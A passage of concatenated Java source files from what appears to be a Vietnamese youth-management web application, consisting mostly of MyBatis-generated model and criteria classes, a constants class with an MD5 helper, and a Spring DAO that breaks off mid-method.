static final Integer DEFAULT_ID = 999; public static final Integer PERSON_DEFAULT_ID = 99999; public static final String DEFAULT_PARAMS = "9999"; // flag value public static final String FLAG_OFF = "1"; public static final String FLAG_ON = "2"; // Max Length ID public static final Integer MAX_LENGHT_ID = 3; // Constant used when searching data: Nothing is searched public static final String SEARCH_CONDITION_NO_SELECT = "-2"; // When blank fields exist public static final String VALIDATE_BLANK_FIELDS = "-2"; // When field is in wrong format public static final String VALIDATE_WRONG_FORMAT = "-3"; // When new password and new password confirm do not match public static final String VALIDATE_PASSWORD_NOT_MATCH = "-4"; // When current password is not correct public static final String VALIDATE_PASSWORD_NOT_CORRECT = "-5"; // Update info to DB successfully public static final String UPDATE_RESULT_SUCCESSFUL = "1"; // Update info to DB failed public static final String UPDATE_RESULT_FAILED = "-1"; // Insert info to DB successfully public static final String INSERT_RESULT_SUCCESSFUL = "1"; // Insert info to DB with duplicated id public static final String INSERT_RESULT_DUPLICATED = "0"; // Insert info to DB with wrong config public static final String INSERT_RESULT_CONFIG_NOT_CORRECT = "-6"; // Insert info to DB failed public static final String INSERT_RESULT_FAILED = "-1"; // Delete info to DB successfully public static final String DELETE_RESULT_SUCCESSFUL = "1"; // Delete info to DB failed public static final String DELETE_RESULT_FAILED = "-1"; // Upload file to server successfully public static final String UPLOAD_RESULT_SUCCESSFUL = "1"; // Upload file to server failed public static final String UPLOAD_RESULT_FAILED = "-1"; public static String encryptMD5(String input) { try { MessageDigest md = MessageDigest.getInstance("MD5"); byte[] messageDigest = md.digest(input.getBytes()); BigInteger number = new BigInteger(1, messageDigest); String hashtext = number.toString(16); while (hashtext.length() < 32) { hashtext = "0" + hashtext; } return hashtext; } catch (NoSuchAlgorithmException e) { throw new RuntimeException(e); } } }``` 0ffd2dd7892b8e4f64a4b1acdcfc0d483e1d08c6.svn-base ```package vn.youthmanager.ict.youth.enity; public class Home { private String usersName; private String passWord; public String getUserName() { return usersName; } public void setUserName(String usersName) { this.usersName = usersName; } public String getPassWord() { return passWord; } public void setPassWord(String passWord) { this.passWord = passWord; } } ``` 472afd7284df0257fb988d9068d49caaae9d71b7.svn-base ```package vn.youthmanager.ict.common.db.model; import java.util.Date; public class QltnMSpecialized { /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_specialized.SPECIALIZED_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String specializedId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_specialized.UNIVERSITY_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String universityId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_specialized.SPECIALIZED_CODE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String specializedCode; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_specialized.SPECIALIZED_NAME * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String specializedName; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_specialized.CREATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String createUserId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_specialized.CREATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private Date createDate; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_specialized.UPDATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String updateUserId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_specialized.LAST_UPDATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private Date lastUpdateDate; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_specialized.DELETE_FLAG * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String deleteFlag; /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_specialized.SPECIALIZED_ID * * @return the value of qltn_m_specialized.SPECIALIZED_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getSpecializedId() { return specializedId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_specialized.SPECIALIZED_ID * * @param specializedId the value for qltn_m_specialized.SPECIALIZED_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setSpecializedId(String specializedId) { this.specializedId = specializedId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_specialized.UNIVERSITY_ID * * @return the value of qltn_m_specialized.UNIVERSITY_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getUniversityId() { return universityId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_specialized.UNIVERSITY_ID * * @param universityId the value for qltn_m_specialized.UNIVERSITY_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setUniversityId(String universityId) { this.universityId = universityId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_specialized.SPECIALIZED_CODE * * @return the value of qltn_m_specialized.SPECIALIZED_CODE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getSpecializedCode() { return specializedCode; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_specialized.SPECIALIZED_CODE * * @param specializedCode the value for qltn_m_specialized.SPECIALIZED_CODE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setSpecializedCode(String specializedCode) { this.specializedCode = specializedCode; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_specialized.SPECIALIZED_NAME * * @return the value of qltn_m_specialized.SPECIALIZED_NAME * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getSpecializedName() { return specializedName; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_specialized.SPECIALIZED_NAME * * @param specializedName the value for qltn_m_specialized.SPECIALIZED_NAME * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setSpecializedName(String specializedName) { this.specializedName = specializedName; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_specialized.CREATE_USER_ID * * @return the value of qltn_m_specialized.CREATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getCreateUserId() { return createUserId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_specialized.CREATE_USER_ID * * @param createUserId the value for qltn_m_specialized.CREATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setCreateUserId(String createUserId) { this.createUserId = createUserId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_specialized.CREATE_DATE * * @return the value of qltn_m_specialized.CREATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public Date getCreateDate() { return createDate; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_specialized.CREATE_DATE * * @param createDate the value for qltn_m_specialized.CREATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setCreateDate(Date createDate) { this.createDate = createDate; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_specialized.UPDATE_USER_ID * * @return the value of qltn_m_specialized.UPDATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getUpdateUserId() { return updateUserId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_specialized.UPDATE_USER_ID * * @param updateUserId the value for qltn_m_specialized.UPDATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setUpdateUserId(String updateUserId) { this.updateUserId = updateUserId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_specialized.LAST_UPDATE_DATE * * @return the value of qltn_m_specialized.LAST_UPDATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public Date getLastUpdateDate() { return lastUpdateDate; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_specialized.LAST_UPDATE_DATE * * @param lastUpdateDate the value for qltn_m_specialized.LAST_UPDATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setLastUpdateDate(Date lastUpdateDate) { this.lastUpdateDate = lastUpdateDate; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_specialized.DELETE_FLAG * * @return the value of qltn_m_specialized.DELETE_FLAG * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getDeleteFlag() { return deleteFlag; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_specialized.DELETE_FLAG * * @param deleteFlag the value for qltn_m_specialized.DELETE_FLAG * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setDeleteFlag(String deleteFlag) { this.deleteFlag = deleteFlag; } }``` QltnMUniversityExample.java ```package vn.youthmanager.ict.common.db.model; import java.util.ArrayList; import java.util.Date; import java.util.List; public class QltnMUniversityExample { /** * This field was generated by MyBatis Generator. * This field corresponds to the database table qltn_m_university * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ protected String orderByClause; /** * This field was generated by MyBatis Generator. * This field corresponds to the database table qltn_m_university * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ protected boolean distinct; /** * This field was generated by MyBatis Generator. * This field corresponds to the database table qltn_m_university * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ protected List<Criteria> oredCriteria; /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_university * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public QltnMUniversityExample() { oredCriteria = new ArrayList<Criteria>(); } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_university * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setOrderByClause(String orderByClause) { this.orderByClause = orderByClause; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_university * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getOrderByClause() { return orderByClause; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_university * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setDistinct(boolean distinct) { this.distinct = distinct; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_university * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public boolean isDistinct() { return distinct; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_university * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public List<Criteria> getOredCriteria() { return oredCriteria; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_university * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void or(Criteria criteria) { oredCriteria.add(criteria); } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_university * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public Criteria or() { Criteria criteria = createCriteriaInternal(); oredCriteria.add(criteria); return criteria; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_university * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public Criteria createCriteria() { Criteria criteria = createCriteriaInternal(); if (oredCriteria.size() == 0) { oredCriteria.add(criteria); } return criteria; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_university * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ protected Criteria createCriteriaInternal() { Criteria criteria = new Criteria(); return criteria; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_university * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void clear() { oredCriteria.clear(); orderByClause = null; distinct = false; } /** * This class was generated by MyBatis Generator. * This class corresponds to the database table qltn_m_university * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ protected abstract static class GeneratedCriteria { protected List<Criterion> criteria; protected GeneratedCriteria() { super(); criteria = new ArrayList<Criterion>(); } public boolean isValid() { return criteria.size() > 0; } public List<Criterion> getAllCriteria() { return criteria; } public List<Criterion> getCriteria() { return criteria; } protected void addCriterion(String condition) { if (condition == null) { throw new RuntimeException("Value for condition cannot be null"); } criteria.add(new Criterion(condition)); } protected void addCriterion(String condition, Object value, String property) { if (value == null) { throw new RuntimeException("Value for " + property + " cannot be null"); } criteria.add(new Criterion(condition, value)); } protected void addCriterion(String condition, Object value1, Object value2, String property) { if (value1 == null || value2 == null) { throw new RuntimeException("Between values for " + property + " cannot be null"); } criteria.add(new Criterion(condition, value1, value2)); } public Criteria andUniversityIdIsNull() { addCriterion("UNIVERSITY_ID is null"); return (Criteria) this; } public Criteria andUniversityIdIsNotNull() { addCriterion("UNIVERSITY_ID is not null"); return (Criteria) this; } public Criteria andEducationIdEqualTo(String value) { addCriterion("EDUCATION_ID =", value, "educationId"); return (Criteria) this; } public Criteria andUniversityIdEqualTo(String value) { addCriterion("UNIVERSITY_ID =", value, "universityId"); return (Criteria) this; } public Criteria andUniversityIdNotEqualTo(String value) { addCriterion("UNIVERSITY_ID <>", value, "universityId"); return (Criteria) this; } public Criteria andUniversityIdGreaterThan(String value) { addCriterion("UNIVERSITY_ID >", value, "universityId"); return (Criteria) this; } public Criteria andUniversityIdGreaterThanOrEqualTo(String value) { addCriterion("UNIVERSITY_ID >=", value, "universityId"); return (Criteria) this; } public Criteria andUniversityIdLessThan(String value) { addCriterion("UNIVERSITY_ID <", value, "universityId"); return (Criteria) this; } public Criteria andUniversityIdLessThanOrEqualTo(String value) { addCriterion("UNIVERSITY_ID <=", value, "universityId"); return (Criteria) this; } public Criteria andUniversityIdLike(String value) { addCriterion("UNIVERSITY_ID like", value, "universityId"); return (Criteria) this; } public Criteria andUniversityIdNotLike(String value) { addCriterion("UNIVERSITY_ID not like", value, "universityId"); return (Criteria) this; } public Criteria andUniversityIdIn(List<String> values) { addCriterion("UNIVERSITY_ID in", values, "universityId"); return (Criteria) this; } public Criteria andUniversityIdNotIn(List<String> values) { addCriterion("UNIVERSITY_ID not in", values, "universityId"); return (Criteria) this; } public Criteria andUniversityIdBetween(String value1, String value2) { addCriterion("UNIVERSITY_ID between", value1, value2, "universityId"); return (Criteria) this; } public Criteria andUniversityIdNotBetween(String value1, String value2) { addCriterion("UNIVERSITY_ID not between", value1, value2, "universityId"); return (Criteria) this; } public Criteria andUniversityCodeIsNull() { addCriterion("UNIVERSITY_CODE is null"); return (Criteria) this; } public Criteria andUniversityCodeIsNotNull() { addCriterion("UNIVERSITY_CODE is not null"); return (Criteria) this; } public Criteria andUniversityCodeEqualTo(String value) { addCriterion("UNIVERSITY_CODE =", value, "universityCode"); return (Criteria) this; } public Criteria andUniversityCodeNotEqualTo(String value) { addCriterion("UNIVERSITY_CODE <>", value, "universityCode"); return (Criteria) this; } public Criteria andUniversityCodeGreaterThan(String value) { addCriterion("UNIVERSITY_CODE >", value, "universityCode"); return (Criteria) this; } public Criteria andUniversityCodeGreaterThanOrEqualTo(String value) { addCriterion("UNIVERSITY_CODE >=", value, "universityCode"); return (Criteria) this; } public Criteria andUniversityCodeLessThan(String value) { addCriterion("UNIVERSITY_CODE <", value, "universityCode"); return (Criteria) this; } public Criteria andUniversityCodeLessThanOrEqualTo(String value) { addCriterion("UNIVERSITY_CODE <=", value, "universityCode"); return (Criteria) this; } public Criteria andUniversityCodeLike(String value) { addCriterion("UNIVERSITY_CODE like", value, "universityCode"); return (Criteria) this; } public Criteria andUniversityCodeNotLike(String value) { addCriterion("UNIVERSITY_CODE not like", value, "universityCode"); return (Criteria) this; } public Criteria andUniversityCodeIn(List<String> values) { addCriterion("UNIVERSITY_CODE in", values, "universityCode"); return (Criteria) this; } public Criteria andUniversityCodeNotIn(List<String> values) { addCriterion("UNIVERSITY_CODE not in", values, "universityCode"); return (Criteria) this; } public Criteria andUniversityCodeBetween(String value1, String value2) { addCriterion("UNIVERSITY_CODE between", value1, value2, "universityCode"); return (Criteria) this; } public Criteria andUniversityCodeNotBetween(String value1, String value2) { addCriterion("UNIVERSITY_CODE not between", value1, value2, "universityCode"); return (Criteria) this; } public Criteria andUniversityNameIsNull() { addCriterion("UNIVERSITY_NAME is null"); return (Criteria) this; } public Criteria andUniversityNameIsNotNull() { addCriterion("UNIVERSITY_NAME is not null"); return (Criteria) this; } public Criteria andUniversityNameEqualTo(String value) { addCriterion("UNIVERSITY_NAME =", value, "universityName"); return (Criteria) this; } public Criteria andUniversityNameNotEqualTo(String value) { addCriterion("UNIVERSITY_NAME <>", value, "universityName"); return (Criteria) this; } public Criteria andUniversityNameGreaterThan(String value) { addCriterion("UNIVERSITY_NAME >", value, "universityName"); return (Criteria) this; } public Criteria andUniversityNameGreaterThanOrEqualTo(String value) { addCriterion("UNIVERSITY_NAME >=", value, "universityName"); return (Criteria) this; } public Criteria andUniversityNameLessThan(String value) { addCriterion("UNIVERSITY_NAME <", value, "universityName"); return (Criteria) this; } public Criteria andUniversityNameLessThanOrEqualTo(String value) { addCriterion("UNIVERSITY_NAME <=", value, "universityName"); return (Criteria) this; } public Criteria andUniversityNameLike(String value) { addCriterion("UNIVERSITY_NAME like", value, "universityName"); return (Criteria) this; } public Criteria andUniversityNameNotLike(String value) { addCriterion("UNIVERSITY_NAME not like", value, "universityName"); return (Criteria) this; } public Criteria andUniversityNameIn(List<String> values) { addCriterion("UNIVERSITY_NAME in", values, "universityName"); return (Criteria) this; } public Criteria andUniversityNameNotIn(List<String> values) { addCriterion("UNIVERSITY_NAME not in", values, "universityName"); return (Criteria) this; } public Criteria andUniversityNameBetween(String value1, String value2) { addCriterion("UNIVERSITY_NAME between", value1, value2, "universityName"); return (Criteria) this; } public Criteria andUniversityNameNotBetween(String value1, String value2) { addCriterion("UNIVERSITY_NAME not between", value1, value2, "universityName"); return (Criteria) this; } public Criteria andCreateUserIdIsNull() { addCriterion("CREATE_USER_ID is null"); return (Criteria) this; } public Criteria andCreateUserIdIsNotNull() { addCriterion("CREATE_USER_ID is not null"); return (Criteria) this; } public Criteria andCreateUserIdEqualTo(String value) { addCriterion("CREATE_USER_ID =", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdNotEqualTo(String value) { addCriterion("CREATE_USER_ID <>", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdGreaterThan(String value) { addCriterion("CREATE_USER_ID >", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdGreaterThanOrEqualTo(String value) { addCriterion("CREATE_USER_ID >=", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdLessThan(String value) { addCriterion("CREATE_USER_ID <", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdLessThanOrEqualTo(String value) { addCriterion("CREATE_USER_ID <=", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdLike(String value) { addCriterion("CREATE_USER_ID like", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdNotLike(String value) { addCriterion("CREATE_USER_ID not like", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdIn(List<String> values) { addCriterion("CREATE_USER_ID in", values, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdNotIn(List<String> values) { addCriterion("CREATE_USER_ID not in", values, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdBetween(String value1, String value2) { addCriterion("CREATE_USER_ID between", value1, value2, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdNotBetween(String value1, String value2) { addCriterion("CREATE_USER_ID not between", value1, value2, "createUserId"); return (Criteria) this; } public Criteria andCreateDateIsNull() { addCriterion("CREATE_DATE is null"); return (Criteria) this; } public Criteria andCreateDateIsNotNull() { addCriterion("CREATE_DATE is not null"); return (Criteria) this; } public Criteria andCreateDateEqualTo(Date value) { addCriterion("CREATE_DATE =", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateNotEqualTo(Date value) { addCriterion("CREATE_DATE <>", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateGreaterThan(Date value) { addCriterion("CREATE_DATE >", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateGreaterThanOrEqualTo(Date value) { addCriterion("CREATE_DATE >=", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateLessThan(Date value) { addCriterion("CREATE_DATE <", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateLessThanOrEqualTo(Date value) { addCriterion("CREATE_DATE <=", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateIn(List<Date> values) { addCriterion("CREATE_DATE in", values, "createDate"); return (Criteria) this; } public Criteria andCreateDateNotIn(List<Date> values) { addCriterion("CREATE_DATE not in", values, "createDate"); return (Criteria) this; } public Criteria andCreateDateBetween(Date value1, Date value2) { addCriterion("CREATE_DATE between", value1, value2, "createDate"); return (Criteria) this; } public Criteria andCreateDateNotBetween(Date value1, Date value2) { addCriterion("CREATE_DATE not between", value1, value2, "createDate"); return (Criteria) this; } public Criteria andUpdateUserIdIsNull() { addCriterion("UPDATE_USER_ID is null"); return (Criteria) this; } public Criteria andUpdateUserIdIsNotNull() { addCriterion("UPDATE_USER_ID is not null"); return (Criteria) this; } public Criteria andUpdateUserIdEqualTo(String value) { addCriterion("UPDATE_USER_ID =", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdNotEqualTo(String value) { addCriterion("UPDATE_USER_ID <>", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdGreaterThan(String value) { addCriterion("UPDATE_USER_ID >", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdGreaterThanOrEqualTo(String value) { addCriterion("UPDATE_USER_ID >=", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdLessThan(String value) { addCriterion("UPDATE_USER_ID <", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdLessThanOrEqualTo(String value) { addCriterion("UPDATE_USER_ID <=", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdLike(String value) { addCriterion("UPDATE_USER_ID like", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdNotLike(String value) { addCriterion("UPDATE_USER_ID not like", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdIn(List<String> values) { addCriterion("UPDATE_USER_ID in", values, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdNotIn(List<String> values) { addCriterion("UPDATE_USER_ID not in", values, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdBetween(String value1, String value2) { addCriterion("UPDATE_USER_ID between", value1, value2, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdNotBetween(String value1, String value2) { addCriterion("UPDATE_USER_ID not between", value1, value2, "updateUserId"); return (Criteria) this; } public Criteria andLastUpdateDateIsNull() { addCriterion("LAST_UPDATE_DATE is null"); return (Criteria) this; } public Criteria andLastUpdateDateIsNotNull() { addCriterion("LAST_UPDATE_DATE is not null"); return (Criteria) this; } public Criteria andLastUpdateDateEqualTo(Date value) { addCriterion("LAST_UPDATE_DATE =", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateNotEqualTo(Date value) { addCriterion("LAST_UPDATE_DATE <>", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateGreaterThan(Date value) { addCriterion("LAST_UPDATE_DATE >", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateGreaterThanOrEqualTo(Date value) { addCriterion("LAST_UPDATE_DATE >=", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateLessThan(Date value) { addCriterion("LAST_UPDATE_DATE <", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateLessThanOrEqualTo(Date value) { addCriterion("LAST_UPDATE_DATE <=", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateIn(List<Date> values) { addCriterion("LAST_UPDATE_DATE in", values, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateNotIn(List<Date> values) { addCriterion("LAST_UPDATE_DATE not in", values, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateBetween(Date value1, Date value2) { addCriterion("LAST_UPDATE_DATE between", value1, value2, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateNotBetween(Date value1, Date value2) { addCriterion("LAST_UPDATE_DATE not between", value1, value2, "lastUpdateDate"); return (Criteria) this; } public Criteria andDeleteFlagIsNull() { addCriterion("DELETE_FLAG is null"); return (Criteria) this; } public Criteria andDeleteFlagIsNotNull() { addCriterion("DELETE_FLAG is not null"); return (Criteria) this; } public Criteria andDeleteFlagEqualTo(String value) { addCriterion("DELETE_FLAG =", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagNotEqualTo(String value) { addCriterion("DELETE_FLAG <>", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagGreaterThan(String value) { addCriterion("DELETE_FLAG >", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagGreaterThanOrEqualTo(String value) { addCriterion("DELETE_FLAG >=", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagLessThan(String value) { addCriterion("DELETE_FLAG <", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagLessThanOrEqualTo(String value) { addCriterion("DELETE_FLAG <=", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagLike(String value) { addCriterion("DELETE_FLAG like", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagNotLike(String value) { addCriterion("DELETE_FLAG not like", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagIn(List<String> values) { addCriterion("DELETE_FLAG in", values, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagNotIn(List<String> values) { addCriterion("DELETE_FLAG not in", values, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagBetween(String value1, String value2) { addCriterion("DELETE_FLAG between", value1, value2, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagNotBetween(String value1, String value2) { addCriterion("DELETE_FLAG not between", value1, value2, "deleteFlag"); return (Criteria) this; } } /** * This class was generated by MyBatis Generator. * This class corresponds to the database table qltn_m_university * * @mbggenerated do_not_delete_during_merge Sat Apr 08 18:31:52 ICT 2017 */ public static class Criteria extends GeneratedCriteria { protected Criteria() { super(); } } /** * This class was generated by MyBatis Generator. * This class corresponds to the database table qltn_m_university * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public static class Criterion { private String condition; private Object value; private Object secondValue; private boolean noValue; private boolean singleValue; private boolean betweenValue; private boolean listValue; private String typeHandler; public String getCondition() { return condition; } public Object getValue() { return value; } public Object getSecondValue() { return secondValue; } public boolean isNoValue() { return noValue; } public boolean isSingleValue() { return singleValue; } public boolean isBetweenValue() { return betweenValue; } public boolean isListValue() { return listValue; } public String getTypeHandler() { return typeHandler; } protected Criterion(String condition) { super(); this.condition = condition; this.typeHandler = null; this.noValue = true; } protected Criterion(String condition, Object value, String typeHandler) { super(); this.condition = condition; this.value = value; this.typeHandler = typeHandler; if (value instanceof List<?>) { this.listValue = true; } else { this.singleValue = true; } } protected Criterion(String condition, Object value) { this(condition, value, null); } protected Criterion(String condition, Object value, Object secondValue, String typeHandler) { super(); this.condition = condition; this.value = value; this.secondValue = secondValue; this.typeHandler = typeHandler; this.betweenValue = true; } protected Criterion(String condition, Object value, Object secondValue) { this(condition, value, secondValue, null); } } }``` QltnMProcessPersonKey.java ```package vn.youthmanager.ict.common.db.model; public class QltnMProcessPersonKey { /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_process_person.PROCESS_PERSON_ID * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ private String processPersonId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_process_person.PERSON_ID * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ private String personId; /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_process_person.PROCESS_PERSON_ID * * @return the value of qltn_m_process_person.PROCESS_PERSON_ID * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ public String getProcessPersonId() { return processPersonId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_process_person.PROCESS_PERSON_ID * * @param processPersonId the value for qltn_m_process_person.PROCESS_PERSON_ID * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ public void setProcessPersonId(String processPersonId) { this.processPersonId = processPersonId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_process_person.PERSON_ID * * @return the value of qltn_m_process_person.PERSON_ID * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ public String getPersonId() { return personId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_process_person.PERSON_ID * * @param personId the value for qltn_m_process_person.PERSON_ID * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ public void setPersonId(String personId) { this.personId = personId; } }``` 576c0afaed6c51404e235ae09cc474e7e2b79341.svn-base ```package vn.youthmanager.ict.youth.dao; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; import vn.youthmanager.ict.common.db.mapper.QltnMCityMapper; import vn.youthmanager.ict.common.db.mapper.QltnMCountryMapper; import vn.youthmanager.ict.common.db.mapper.QltnMDistrictMapper; import vn.youthmanager.ict.youth.db.mapper.Sym0013Mapper; /** * * @author nylf1992 * */ @Component public class Sym0013Dao { @Autowired private Sym0013Mapper sym0013Mapper; @Autowired private QltnMCityMapper qltnMCityMapper; @Autowired private QltnMCountryMapper qltnMCountryMapper; @Autowired private QltnMDistrictMapper qltnMDistrictMapper; public Sym0013Mapper getSym0013Mapper() { return sym0013Mapper; } public QltnMCityMapper getQltnMCityMapper() { return qltnMCityMapper; } public QltnMCountryMapper getQltnMCountryMapper() { return qltnMCountryMapper; } public QltnMDistrictMapper 